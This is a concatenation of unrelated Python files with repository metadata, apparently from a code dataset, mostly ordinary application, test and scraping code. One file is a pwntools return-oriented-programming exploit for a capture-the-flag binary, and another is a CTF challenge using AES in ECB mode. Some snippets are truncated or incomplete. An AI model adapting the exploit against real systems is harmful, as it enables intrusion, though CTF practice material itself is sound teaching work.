#!/usr/bin/python from scrapy.cmdline import execute execute()
12.8
34
0.765625
7f0eab18b7da90a6ca9d87fa18fe1deaba0131e1
6,769
py
Python
20-fs-ias-lec/groups/11-sensUI/sensui/NodeConfigTab.py
Kyrus1999/BACnet
5be8e1377252166041bcd0b066cce5b92b077d06
[ "MIT" ]
8
2020-03-17T21:12:18.000Z
2021-12-12T15:55:54.000Z
20-fs-ias-lec/groups/11-sensUI/sensui/NodeConfigTab.py
Kyrus1999/BACnet
5be8e1377252166041bcd0b066cce5b92b077d06
[ "MIT" ]
2
2021-07-19T06:18:43.000Z
2022-02-10T12:17:58.000Z
20-fs-ias-lec/groups/11-sensUI/sensui/NodeConfigTab.py
Kyrus1999/BACnet
5be8e1377252166041bcd0b066cce5b92b077d06
[ "MIT" ]
25
2020-03-20T09:32:45.000Z
2021-07-18T18:12:59.000Z
import os # PyQt5 from PyQt5.QtWidgets import QWidget from PyQt5.QtWidgets import QLabel, QLineEdit, QDoubleSpinBox, QCheckBox, QComboBox, QPushButton from PyQt5.QtWidgets import QListWidget, QListWidgetItem, QAbstractItemView, QHBoxLayout, QFrame, QGridLayout from PyQt5.QtCore import QVariant, Qt from PyQt5 import ui...
32.233333
112
0.649431
b49f029824b8fb13bc78a8e82d504f0873d0565b
1,186
py
Python
Machine Learning/machine_learning_serializing_example.py
pe-aga/misc
fc59ae5c11685b7444a199fea349b0bee17eb4d6
[ "MIT" ]
null
null
null
Machine Learning/machine_learning_serializing_example.py
pe-aga/misc
fc59ae5c11685b7444a199fea349b0bee17eb4d6
[ "MIT" ]
null
null
null
Machine Learning/machine_learning_serializing_example.py
pe-aga/misc
fc59ae5c11685b7444a199fea349b0bee17eb4d6
[ "MIT" ]
null
null
null
'''A sample application showing how can we (de)serialize ML models to/from the disk.''' from sklearn.neural_network import MLPClassifier import pickle SERIALIZED_FILE_PATH = "/Users/neo/Documents/workspace/serialized_model" def generate_and_train_model(): '''Generate and train a MPLClassifier model with dummy data....
32.944444
87
0.709106
37066bc38cd50cb834eb7748a71cf3b65073b562
79
py
Python
Python/mycode.py
travis-deshotels/LambdaStartup
e059f8612f49cbc1826a9ebac72c808f8bbc484d
[ "MIT" ]
null
null
null
Python/mycode.py
travis-deshotels/LambdaStartup
e059f8612f49cbc1826a9ebac72c808f8bbc484d
[ "MIT" ]
null
null
null
Python/mycode.py
travis-deshotels/LambdaStartup
e059f8612f49cbc1826a9ebac72c808f8bbc484d
[ "MIT" ]
null
null
null
import requests def main(event, context): return {"message": "hi there!"}
15.8
35
0.670886
3715b03199b8ffa1812a6b5b6384be50f31a2909
1,406
py
Python
___Python/Marco/PythonProj/p03_lambda/m06_anwendung.py
uvenil/PythonKurs201806
85afa9c9515f5dd8bec0c546f077d8cc39568fe8
[ "Apache-2.0" ]
null
null
null
___Python/Marco/PythonProj/p03_lambda/m06_anwendung.py
uvenil/PythonKurs201806
85afa9c9515f5dd8bec0c546f077d8cc39568fe8
[ "Apache-2.0" ]
null
null
null
___Python/Marco/PythonProj/p03_lambda/m06_anwendung.py
uvenil/PythonKurs201806
85afa9c9515f5dd8bec0c546f077d8cc39568fe8
[ "Apache-2.0" ]
null
null
null
from datetime import date from p01 import meinebib from p01.meinebib import alter torsten = ["Torsten", "Aachen", date(1967, 1, 1), ["C"]] michael = ["Michael", "Moormerland", date(1981, 10, 1), ["Javascript"]] karpoo = ["Karpoo", "Düsseldorf", date(1969, 1, 1), ["ABAP"]] carsten = ["Carsten", "Aachen", date(...
26.528302
110
0.634424
2590b04d598263f32eebfa38d0c18a560ad37367
2,195
py
Python
ciaoutil/kazoeciao.py
luluci/gui_env
9c2ffe331c2dc8a7e128474ce9590498082de569
[ "MIT" ]
null
null
null
ciaoutil/kazoeciao.py
luluci/gui_env
9c2ffe331c2dc8a7e128474ce9590498082de569
[ "MIT" ]
null
null
null
ciaoutil/kazoeciao.py
luluci/gui_env
9c2ffe331c2dc8a7e128474ce9590498082de569
[ "MIT" ]
null
null
null
""" かぞえチャオ ユーティリティ """ import subprocess from time import sleep import pathlib from .kazoeciao_config import config as kazoeciao_config from .util.singleton import Singleton class kazoeciao(Singleton): def __init__(self): self._config = None self._result_dir_files = {} self._result_file = None def init(self, ...
23.105263
77
0.722551
9fb040bff328e2a4538c01c784a1cd694ac81450
2,560
py
Python
challenge17/exp-challenge17-advanced.py
dobin/yookiterm-challenges-files
81daab38d83bdc083bd9a66e90eea1397c5e30ed
[ "MIT" ]
17
2017-05-03T22:00:30.000Z
2021-12-07T10:15:41.000Z
challenge/17/src/exp-challenge17-advanced.py
roo7vijos1/exploit-courses
a13c95726d330081ca4db77aa8391dcd4c6fcb00
[ "MIT" ]
2
2017-06-16T02:09:05.000Z
2018-03-01T08:58:24.000Z
challenge/17/src/exp-challenge17-advanced.py
roo7vijos1/exploit-courses
a13c95726d330081ca4db77aa8391dcd4c6fcb00
[ "MIT" ]
11
2017-05-04T13:04:21.000Z
2020-12-15T23:00:02.000Z
#!/usr/bin/python import struct from pwn import * e = ELF("./challenge17") tube = connect("localhost", 5002) # offset to SIP offset = 152 # writeable data addr sh_addr = 0x602100 # gadgets # 0x0000000000400c91: pop rax; ret; pop_rax = 0x0000000000400c91 # 0x0000000000400eb3: pop rdi; ret; pop_rdi = 0x00000000...
19.24812
66
0.65625
2c790b02fbf1d04ce70fb63505c8674721f508f4
8,516
py
Python
run/train.py
tamasino52/FCN
f904791cf2d3720fbd2e12e1345639fc9af9fc54
[ "MIT" ]
null
null
null
run/train.py
tamasino52/FCN
f904791cf2d3720fbd2e12e1345639fc9af9fc54
[ "MIT" ]
null
null
null
run/train.py
tamasino52/FCN
f904791cf2d3720fbd2e12e1345639fc9af9fc54
[ "MIT" ]
null
null
null
import torch import torch.nn as nn import torch.optim as optim import torch.backends.cudnn as cudnn from torch.utils.data.dataset import random_split import torch.utils.data.distributed import torch.utils.data.dataset import torchvision from torchvision.transforms import transforms import torchvision.transforms.functio...
33.660079
126
0.587248
2c94ebae521fe491a6bdc6267c3b3240715d7ea8
7,498
py
Python
verto/tests/HtmlParserTest.py
uccser/verto
d36aa88b208f1700fafc033679bd1e9775496d25
[ "MIT" ]
4
2017-04-10T06:09:54.000Z
2019-05-04T02:07:40.000Z
verto/tests/HtmlParserTest.py
uccser/verto
d36aa88b208f1700fafc033679bd1e9775496d25
[ "MIT" ]
268
2017-04-03T20:40:46.000Z
2022-02-04T20:10:08.000Z
verto/tests/HtmlParserTest.py
uccser/kordac
d36aa88b208f1700fafc033679bd1e9775496d25
[ "MIT" ]
1
2019-01-07T15:46:31.000Z
2019-01-07T15:46:31.000Z
from verto.tests.BaseTest import BaseTest from verto.utils.HtmlParser import HtmlParser from verto.utils.HtmlSerializer import HtmlSerializer from verto.errors.HtmlParseError import HtmlParseError from markdown.util import etree class HtmlParserTest(BaseTest): '''Tests that the HtmlParser and HtmlSerializer can b...
35.704762
87
0.646572
1aadf544d3f1443b088c34b5b12cce7f8085229f
4,026
py
Python
Liquid-agent/test.py
PasaLab/YAO
2e70203197cd79f9522d65731ee5dc0eb236b005
[ "Apache-2.0" ]
2
2021-08-30T14:12:09.000Z
2022-01-20T02:14:22.000Z
Liquid-agent/test.py
PasaLab/YAO
2e70203197cd79f9522d65731ee5dc0eb236b005
[ "Apache-2.0" ]
null
null
null
Liquid-agent/test.py
PasaLab/YAO
2e70203197cd79f9522d65731ee5dc0eb236b005
[ "Apache-2.0" ]
null
null
null
import subprocess import docker def run(): client = docker.from_env() try: print(client.containers.run(image="alpine", command="pwd", environment={"KEY": "value"})) except Exception as e: print(e.__class__.__name__, e) def run_in_background(): client = docker.from_env() container = client.con...
25.006211
97
0.652509
b3812505a0a1b0c799349bcc84cff07871eb92b6
19,721
py
Python
testpatchs/testdeeps.py
zhuweiDark/fangzi
2011dff33d40b43889b5784e509b876380ab3ed3
[ "BSD-2-Clause" ]
null
null
null
testpatchs/testdeeps.py
zhuweiDark/fangzi
2011dff33d40b43889b5784e509b876380ab3ed3
[ "BSD-2-Clause" ]
null
null
null
testpatchs/testdeeps.py
zhuweiDark/fangzi
2011dff33d40b43889b5784e509b876380ab3ed3
[ "BSD-2-Clause" ]
null
null
null
#!/usr/bin/python # -*- coding: UTF-8 -*- import urllib import urllib2 import re import requests from lxml import etree #from bs4 import BeautifulSoup import chardet import xlwt #from xlwt import * import sys import os import traceback reload(sys) sys.setdefaultencoding( "utf-8" ) import requests imageDir = "/Use...
40.914938
141
0.564322
375124b4539d23015bcae39aa8fd0668caf40010
6,986
py
Python
hrsdb/db/models.py
sirboldilox/hrsdb
1f8373081e4cceb77892581fb5a3fe1f53bf984d
[ "MIT" ]
null
null
null
hrsdb/db/models.py
sirboldilox/hrsdb
1f8373081e4cceb77892581fb5a3fe1f53bf984d
[ "MIT" ]
null
null
null
hrsdb/db/models.py
sirboldilox/hrsdb
1f8373081e4cceb77892581fb5a3fe1f53bf984d
[ "MIT" ]
null
null
null
""" Database implementation """ import pickle from sqlalchemy import BLOB, Column, DateTime, Float, ForeignKey, Integer, String from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import relationship from sqlalchemy.orm.exc import NoResultFound Base = declarative_base() class Patient(Base): ...
30.77533
81
0.611795
20ba1e268273e4a80e997bb464e200bf719bc957
5,357
py
Python
isj_proj06.py
SnasiCze/ISJ
2284cb0d53aad5dd0bfc6230224700628be9e454
[ "MIT" ]
null
null
null
isj_proj06.py
SnasiCze/ISJ
2284cb0d53aad5dd0bfc6230224700628be9e454
[ "MIT" ]
null
null
null
isj_proj06.py
SnasiCze/ISJ
2284cb0d53aad5dd0bfc6230224700628be9e454
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # DEKLARACE ZÁSTUPNÝCH PROMNĚNÝCH NULA=0 JEDNA=1 DVA=2 TRI=3 CTYRI=4 # Konec deklarace # import knihoven import copy import itertools # konec importu def first_nonrepeating(text): ''' Funkce vrací první písmeno které se v řetězci neopakuje ''' tmp = {} #Deklarace dict if type(text) == st...
56.989362
154
0.640844
20ce69e7633298be78d0c764d98371ce8c20ecd2
341
py
Python
frappe-bench/apps/erpnext/erpnext/hr/doctype/employee_loan/employee_loan_dashboard.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/hr/doctype/employee_loan/employee_loan_dashboard.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
frappe-bench/apps/erpnext/erpnext/hr/doctype/employee_loan/employee_loan_dashboard.py
Semicheche/foa_frappe_docker
a186b65d5e807dd4caf049e8aeb3620a799c1225
[ "MIT" ]
null
null
null
from frappe import _ def get_data(): return { 'fieldname': 'employee', 'non_standard_fieldnames': { 'Journal Entry': 'reference_name', }, 'transactions': [ { 'label': _('Employee'), 'items': ['Employee Loan Application', 'Salary Slip'] }, { 'label': _('Account'), 'items': ['Journa...
17.947368
57
0.568915
45e4bb2de5e351cae8d6b44d158269e4109d6e93
1,975
py
Python
tools/datasets_convert/dataset_count_classFrequency.py
UESTC-Liuxin/SkmtSeg
1251de57fae967aca395644d1c70a9ba0bb52271
[ "Apache-2.0" ]
2
2020-12-22T08:40:05.000Z
2021-03-30T08:09:44.000Z
tools/datasets_convert/dataset_count_classFrequency.py
UESTC-Liuxin/SkmtSeg
1251de57fae967aca395644d1c70a9ba0bb52271
[ "Apache-2.0" ]
null
null
null
tools/datasets_convert/dataset_count_classFrequency.py
UESTC-Liuxin/SkmtSeg
1251de57fae967aca395644d1c70a9ba0bb52271
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- """ @description: @author: LiuXin @contact: xinliu1996@163.com @Created on: 2020/11/12 下午7:07 """ import numpy as np from PIL import Image import os import matplotlib.pyplot as plt import cv2 from dataloader.skmt import SkmtDataSet dataset_root = '../../data/SKMT/Seg' images_path = os.path.join...
30.859375
113
0.640506
b313c1b0c8597e4a4ee2321751a62030a27c722c
1,987
py
Python
official/nlp/pangu_alpha/serving_increment/flask/client.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
official/nlp/pangu_alpha/serving_increment/flask/client.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
official/nlp/pangu_alpha/serving_increment/flask/client.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
29.656716
109
0.64469
b34a5753451c24afeddcfa5c6393d6a2d03f91af
477
py
Python
Python-BlueEdTech-main/projeto-exemplo/relogio.py
Gitdu-edu/TrabalhoFinalBlue
9152264b79b3dfdf01253706e437ee7713f6c3e7
[ "MIT" ]
3
2021-05-30T20:01:06.000Z
2021-07-07T00:46:37.000Z
Python-BlueEdTech-main/projeto-exemplo/relogio.py
Gitdu-edu/TrabalhoFinalBlue
9152264b79b3dfdf01253706e437ee7713f6c3e7
[ "MIT" ]
null
null
null
Python-BlueEdTech-main/projeto-exemplo/relogio.py
Gitdu-edu/TrabalhoFinalBlue
9152264b79b3dfdf01253706e437ee7713f6c3e7
[ "MIT" ]
null
null
null
class Relogio: def __init__(self): self.horas = 6 self.minutos = 0 def __str__(self): # Pesquisar significado dessa função especifica. return f"{self.horas:02d}:{self.minutos:02d}" def avancaTempo(self, minutos): self.minutos += minutos while(self.minutos >= 60): ...
28.058824
73
0.584906
2fb2e32ecc6d8cc080c75f6e6bc647af427048d4
299
py
Python
rasa/shared/exceptions.py
chaneyjd/rasa
104a9591fc10b96eaa7fe402b6d64ca652b7ebe2
[ "Apache-2.0" ]
null
null
null
rasa/shared/exceptions.py
chaneyjd/rasa
104a9591fc10b96eaa7fe402b6d64ca652b7ebe2
[ "Apache-2.0" ]
46
2020-09-26T11:36:38.000Z
2022-03-01T13:38:02.000Z
rasa/shared/exceptions.py
chaneyjd/rasa
104a9591fc10b96eaa7fe402b6d64ca652b7ebe2
[ "Apache-2.0" ]
null
null
null
class RasaException(Exception): """Base exception class for all errors raised by Rasa.""" class RasaCoreException(RasaException): """Basic exception for errors raised by Rasa Core.""" class RasaXTermsError(RasaException): """Error in case the user didn't accept the Rasa X terms."""
27.181818
64
0.729097
6442096f2bc69b95c18fe4ae76d148754043ef9a
1,072
py
Python
geol/geometry/grid.py
PyGeoL/GeoL
67a5bd2f63091e19041094c14d419055fa5ce6f0
[ "MIT" ]
8
2018-03-09T16:44:38.000Z
2021-04-07T11:33:30.000Z
geol/geometry/grid.py
PyGeoL/GeoL
67a5bd2f63091e19041094c14d419055fa5ce6f0
[ "MIT" ]
4
2020-03-24T15:34:54.000Z
2021-06-01T21:54:33.000Z
geol/geometry/grid.py
PyGeoL/GeoL
67a5bd2f63091e19041094c14d419055fa5ce6f0
[ "MIT" ]
1
2020-05-13T14:30:55.000Z
2020-05-13T14:30:55.000Z
""" File description """ # Authors: Gianni Barlacchi <gianni.barlacchi@gmail.com> import geopandas as gpd from geol.utils import constants, utils import six import abc import os @six.add_metaclass(abc.ABCMeta) class Grid: def __init__(self, grid=None): self._grid = grid @classmethod def from_fi...
26.146341
77
0.642724
ff2cfb7fed92baaed3ef382ee1a5c9ba4c7c6e08
1,973
py
Python
sys/2/common.py
wittrup/crap
a77474588fd54a5a998e24df7b1e6e2ab473ded1
[ "MIT" ]
1
2017-12-12T13:58:08.000Z
2017-12-12T13:58:08.000Z
sys/2/common.py
wittrup/crap
a77474588fd54a5a998e24df7b1e6e2ab473ded1
[ "MIT" ]
null
null
null
sys/2/common.py
wittrup/crap
a77474588fd54a5a998e24df7b1e6e2ab473ded1
[ "MIT" ]
1
2019-11-03T10:16:35.000Z
2019-11-03T10:16:35.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- import json import os.path def is_non_zero_file(fpath): return os.path.isfile(fpath) and os.path.getsize(fpath) > 0 def jsloifex(filename, default={}): # JSON load if exists return json.load(open(filename, encoding='utf-8')) if is_non_zero_file(filename) else ...
34.614035
98
0.563102
2b96b2332654dccb01c845b9bba4abe7d64a2900
240
py
Python
Crashkurs Python/09_List Slicing.py
slogslog/Coding-Kurzgeschichten
9b08237038147c6c348d4cf4c69567178e07dd1d
[ "Unlicense" ]
2
2020-03-23T14:57:50.000Z
2021-03-24T18:12:07.000Z
Crashkurs Python/09_List Slicing.py
slogslog/Coding-Kurzgeschichten
9b08237038147c6c348d4cf4c69567178e07dd1d
[ "Unlicense" ]
null
null
null
Crashkurs Python/09_List Slicing.py
slogslog/Coding-Kurzgeschichten
9b08237038147c6c348d4cf4c69567178e07dd1d
[ "Unlicense" ]
null
null
null
# 0 1 2 3 4 5 6 Index von vorne a = [3, 5, -2, 8, 12, 0, -1] # -7 -6 -5 -4 -3 -2 -1 Index von hinten print(a[2]) print(a[-5]) b = a[2:5] print(b) c = a[:5] print(c) print(a[3:]) d = a[-5:-2] print(d) print(a[-4:])
12.631579
46
0.445833
2ba63b621ed5b00df6bf2626fbf4bca75b34874e
728
py
Python
SHELL/2021/crypto/Vuln-AES/encrypt.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
1
2021-11-02T20:53:58.000Z
2021-11-02T20:53:58.000Z
SHELL/2021/crypto/Vuln-AES/encrypt.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
null
null
null
SHELL/2021/crypto/Vuln-AES/encrypt.py
ruhan-islam/ctf-archives
8c2bf6a608c821314d1a1cfaa05a6cccef8e3103
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 import base64 from Crypto.Cipher import AES secret_code = "<flag>" def pad(message): if len(message) % 16 != 0: message = message + '0'*(16 - len(message)%16 ) #block-size = 16 return message def encrypt(key, plain): cipher = AES.new( key, AES.MODE_ECB ) return ciph...
28
152
0.686813
a6ef7aa32273bf60855b1ce91c8703c4c830ce88
80
py
Python
Curso-Em-Video-Python/2Exercicios/047_Contagem_de_pares.py
pedrohd21/Cursos-Feitos
b223aad83867bfa45ad161d133e33c2c200d42bd
[ "MIT" ]
null
null
null
Curso-Em-Video-Python/2Exercicios/047_Contagem_de_pares.py
pedrohd21/Cursos-Feitos
b223aad83867bfa45ad161d133e33c2c200d42bd
[ "MIT" ]
null
null
null
Curso-Em-Video-Python/2Exercicios/047_Contagem_de_pares.py
pedrohd21/Cursos-Feitos
b223aad83867bfa45ad161d133e33c2c200d42bd
[ "MIT" ]
null
null
null
for contador in range(2, 50+1, 2): print(contador, end=' ') print('fim')
26.666667
34
0.5875
752bdbecc4f419dad8707acec8c454791b269c67
389
py
Python
simple-redis-queue-demo/publisher/publisher.py
crackedcd/Intern.MT
36398837af377a7e1c4edd7cbb15eabecd2c3103
[ "MIT" ]
1
2019-07-05T03:42:17.000Z
2019-07-05T03:42:17.000Z
simple-redis-queue-demo/publisher/publisher.py
crackedcd/Intern.MT
36398837af377a7e1c4edd7cbb15eabecd2c3103
[ "MIT" ]
null
null
null
simple-redis-queue-demo/publisher/publisher.py
crackedcd/Intern.MT
36398837af377a7e1c4edd7cbb15eabecd2c3103
[ "MIT" ]
1
2019-06-24T05:56:55.000Z
2019-06-24T05:56:55.000Z
import redis class Publisher(object): def __init__(self, host, port=6379, auth=None): self.__r = redis.Redis(host=host, port=port, password=auth) def publish(self, list_name): while True: s = input("input: ") self.__r.rpush(list_name, s) if __name__ == '__main__': ...
21.611111
67
0.609254
45e81dbc26448c915ff37976d09d10d796d91fa5
193
py
Python
10.3.py
RonaldZhao/NowCoder
935af39835a98efc14157e20df1e3458e02b9803
[ "MIT" ]
null
null
null
10.3.py
RonaldZhao/NowCoder
935af39835a98efc14157e20df1e3458e02b9803
[ "MIT" ]
null
null
null
10.3.py
RonaldZhao/NowCoder
935af39835a98efc14157e20df1e3458e02b9803
[ "MIT" ]
null
null
null
class Ants: def collision(self, n): def gcd(a, b): return gcd(b, a % b) if a % b else b x = gcd(2 ** n - 2, 2 ** n) return [(2 ** n - 2) / x, 2 ** n / x]
32.166667
48
0.398964
1b582a8c4efadfd65439fe5fa83682922c2e6e3d
2,092
py
Python
src/onegov/feriennet/views/attendee.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/feriennet/views/attendee.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
src/onegov/feriennet/views/attendee.py
politbuero-kampagnen/onegov-cloud
20148bf321b71f617b64376fe7249b2b9b9c4aa9
[ "MIT" ]
null
null
null
from onegov.activity import Attendee, BookingCollection from onegov.core.security import Personal from onegov.feriennet import FeriennetApp, _ from onegov.feriennet.forms import AttendeeForm, AttendeeLimitForm from onegov.feriennet.layout import BookingCollectionLayout from onegov.org.elements import Link @FeriennetA...
27.893333
72
0.697419
1bbc710d61e3ad58ba8d79ac82ff66e9b3207701
890
py
Python
data/citiesdb.py
Janrupf/airport-db-seeding
768a9373f02ede5bf613d09270d2fbe84de37a97
[ "MIT" ]
null
null
null
data/citiesdb.py
Janrupf/airport-db-seeding
768a9373f02ede5bf613d09270d2fbe84de37a97
[ "MIT" ]
null
null
null
data/citiesdb.py
Janrupf/airport-db-seeding
768a9373f02ede5bf613d09270d2fbe84de37a97
[ "MIT" ]
null
null
null
import csv from types import SimpleNamespace class CitiesDB: def __init__(self, cache): cities_csv = cache.resolve_entry("cities.csv", CitiesDB.download_cities) with open(cities_csv) as f: reader = csv.reader(f) next(reader, None) # Skip CSV header self.cities...
31.785714
118
0.620225
946b23e95ae382e6d9797d844f8f711f7e41e290
164
py
Python
official_examples/Reinforcement_Learning_GameSolution_Examples/vizdoom/pve/env_config.py
RuichunWang/ModelArts-Lab
cfa9a853e3a76a21eac2818f055b36978ac2bb69
[ "Apache-2.0" ]
1,045
2019-05-09T02:50:43.000Z
2022-03-31T06:22:11.000Z
official_examples/Reinforcement_Learning_GameSolution_Examples/vizdoom/pve/env_config.py
RuichunWang/ModelArts-Lab
cfa9a853e3a76a21eac2818f055b36978ac2bb69
[ "Apache-2.0" ]
1,468
2019-05-16T00:48:18.000Z
2022-03-08T04:12:44.000Z
official_examples/Reinforcement_Learning_GameSolution_Examples/vizdoom/pve/env_config.py
RuichunWang/ModelArts-Lab
cfa9a853e3a76a21eac2818f055b36978ac2bb69
[ "Apache-2.0" ]
1,077
2019-05-09T02:50:53.000Z
2022-03-27T11:05:32.000Z
import numpy as np from gym.spaces import Discrete, Box action_space = Discrete(8) observation_space = Box(-np.inf, np.inf, shape=(240, 320, 1), dtype=np.float32)
27.333333
79
0.743902
ca2646aca8c076ad25fbbbc3e818dd2d451217b7
2,574
py
Python
PythonPro/demo/operator.py
JianmingXia/StudyTest
66d688ad41bbce619f44359ea126ff07a923f97b
[ "MIT" ]
null
null
null
PythonPro/demo/operator.py
JianmingXia/StudyTest
66d688ad41bbce619f44359ea126ff07a923f97b
[ "MIT" ]
68
2020-09-05T04:22:49.000Z
2022-03-25T18:47:08.000Z
PythonPro/demo/operator.py
JianmingXia/StudyTest
66d688ad41bbce619f44359ea126ff07a923f97b
[ "MIT" ]
null
null
null
#coding=utf-8 #运算符 a = 10 b = 20 list = [1, 2, 3, 4, 5 ]; if ( a in list ): print "1 - 变量 a 在给定的列表中 list 中" else: print "1 - 变量 a 不在给定的列表中 list 中" if ( b not in list ): print "2 - 变量 b 不在给定的列表中 list 中" else: print "2 - 变量 b 在给定的列表中 list 中" # 修改变量 a 的值 a = 2 if ( a in list ): print "3 - 变量 a 在给定的列表中 l...
14.793103
49
0.412199
ca631c224f65e80cd35325358d80c178f42588e3
6,094
py
Python
Mongols/movies.py
kkysen/Soft-Dev
b19881b1fcc9c7daefc817e6b975ff6bce545d81
[ "Apache-2.0" ]
null
null
null
Mongols/movies.py
kkysen/Soft-Dev
b19881b1fcc9c7daefc817e6b975ff6bce545d81
[ "Apache-2.0" ]
null
null
null
Mongols/movies.py
kkysen/Soft-Dev
b19881b1fcc9c7daefc817e6b975ff6bce545d81
[ "Apache-2.0" ]
null
null
null
""" Team Mongols: Anish Shenoy and Khyber Sen SoftDev2 pd07 K05 -- Import/Export Bank 2018-02-25 Name of Dataset: American movies scraped from Wikipedia Description: A List of American Movies scraped from the popular online encyclopedia known as Wikipedia Download: https://raw.githubusercontent.com/prust/wikipedia-mov...
27.084444
102
0.559403
ca8fbbe68848d8d5240d22b14f252e1a777599af
9,437
py
Python
Packs/VirusTotal/Integrations/FeedLivehunt/FeedLivehunt_test.py
cstone112/content
7f039931b8cfc20e89df52d895440b7321149a0d
[ "MIT" ]
2
2021-12-06T21:38:24.000Z
2022-01-13T08:23:36.000Z
Packs/VirusTotal/Integrations/FeedLivehunt/FeedLivehunt_test.py
cstone112/content
7f039931b8cfc20e89df52d895440b7321149a0d
[ "MIT" ]
87
2022-02-23T12:10:53.000Z
2022-03-31T11:29:05.000Z
Packs/VirusTotal/Integrations/FeedLivehunt/FeedLivehunt_test.py
cstone112/content
7f039931b8cfc20e89df52d895440b7321149a0d
[ "MIT" ]
2
2022-01-05T15:27:01.000Z
2022-02-01T19:27:43.000Z
import demistomock as demisto from FeedLivehunt import Client, fetch_indicators_command, get_indicators_command, main from unittest.mock import call MOCK_VT_RESPONSE = { "data": [ { "attributes": { "type_description": "Win32 EXE", "tlsh": "T155069E15A6D82B64E7F35...
37.153543
128
0.491788
0472ffe4bae8d158bb8383f1af34a08ca56bccc8
19
py
Python
comp/zenefits/skype/ZeroApproachingGrid.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2015-12-16T04:01:03.000Z
2015-12-16T04:01:03.000Z
comp/zenefits/skype/ZeroApproachingGrid.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
1
2016-02-09T06:00:07.000Z
2016-02-09T07:20:13.000Z
comp/zenefits/skype/ZeroApproachingGrid.py
cc13ny/all-in
bc0b01e44e121ea68724da16f25f7e24386c53de
[ "MIT" ]
2
2019-06-27T09:07:26.000Z
2019-07-01T04:40:13.000Z
def maxcost(grid):
9.5
18
0.736842
047461ee4a4a7ee30186f60e2867675d56814ea2
665
py
Python
connect_bq.py
raiever/abtest
ff14f20ad23d2a0710e95d23e3d1124a44298a62
[ "Apache-2.0" ]
null
null
null
connect_bq.py
raiever/abtest
ff14f20ad23d2a0710e95d23e3d1124a44298a62
[ "Apache-2.0" ]
null
null
null
connect_bq.py
raiever/abtest
ff14f20ad23d2a0710e95d23e3d1124a44298a62
[ "Apache-2.0" ]
null
null
null
import pandas as pd from google.cloud import bigquery from db_utils import connet_mysql from sqlalchemy import create_engine client = bigquery.Client(project=) engine = create_engine("mysql+mysqldb://root:"+"password"+"@localhost/abtest", encoding='utf-8') conn = engine.connect() sql = """ SELECT * FROM `.abtest.jo...
26.6
96
0.76391
6d5a33c1af66581eadb530a5bea760021bd328b6
244
py
Python
NeuralNet/Alex/evaluate.py
alex-ta/Fontinator
7ca9effe3b61ded032176557520127e1d4b7a5ef
[ "Apache-2.0" ]
6
2017-04-12T14:05:19.000Z
2021-01-29T11:23:50.000Z
NeuralNet/Alex/evaluate.py
alex-ta/Fontinator
7ca9effe3b61ded032176557520127e1d4b7a5ef
[ "Apache-2.0" ]
null
null
null
NeuralNet/Alex/evaluate.py
alex-ta/Fontinator
7ca9effe3b61ded032176557520127e1d4b7a5ef
[ "Apache-2.0" ]
null
null
null
from modelpipe import pipe datapipe = pipe.Pipe(data_path = "../../images/Dataset_1", train_size=0.6) datapipe.load_data(flatten=0, print_out=1) for i in range(10): result = datapipe.eval(model_name = "models/model_0"+str(i), batch_size = 100)
48.8
79
0.741803
1e6e8b1199099445221eaba9479a9fb1c4b0cb70
8,919
py
Python
paddlenlp/taskflow/models/dependency_parsing_model.py
mukaiu/PaddleNLP
0315365dbafa6e3b1c7147121ba85e05884125a5
[ "Apache-2.0" ]
null
null
null
paddlenlp/taskflow/models/dependency_parsing_model.py
mukaiu/PaddleNLP
0315365dbafa6e3b1c7147121ba85e05884125a5
[ "Apache-2.0" ]
null
null
null
paddlenlp/taskflow/models/dependency_parsing_model.py
mukaiu/PaddleNLP
0315365dbafa6e3b1c7147121ba85e05884125a5
[ "Apache-2.0" ]
null
null
null
# coding:utf-8 # Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License" # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless req...
34.569767
91
0.561946
1ebc068b5744caa9b8266c26c2a09da6e37f0187
1,304
py
Python
cbm/foi/__init__.py
CsabaWirnhardt/cbm
1822addd72881057af34ac6a7c2a1f02ea511225
[ "BSD-3-Clause" ]
17
2021-01-18T07:27:01.000Z
2022-03-10T12:26:21.000Z
cbm/foi/__init__.py
CsabaWirnhardt/cbm
1822addd72881057af34ac6a7c2a1f02ea511225
[ "BSD-3-Clause" ]
4
2021-04-29T11:20:44.000Z
2021-12-06T10:19:17.000Z
cbm/foi/__init__.py
CsabaWirnhardt/cbm
1822addd72881057af34ac6a7c2a1f02ea511225
[ "BSD-3-Clause" ]
47
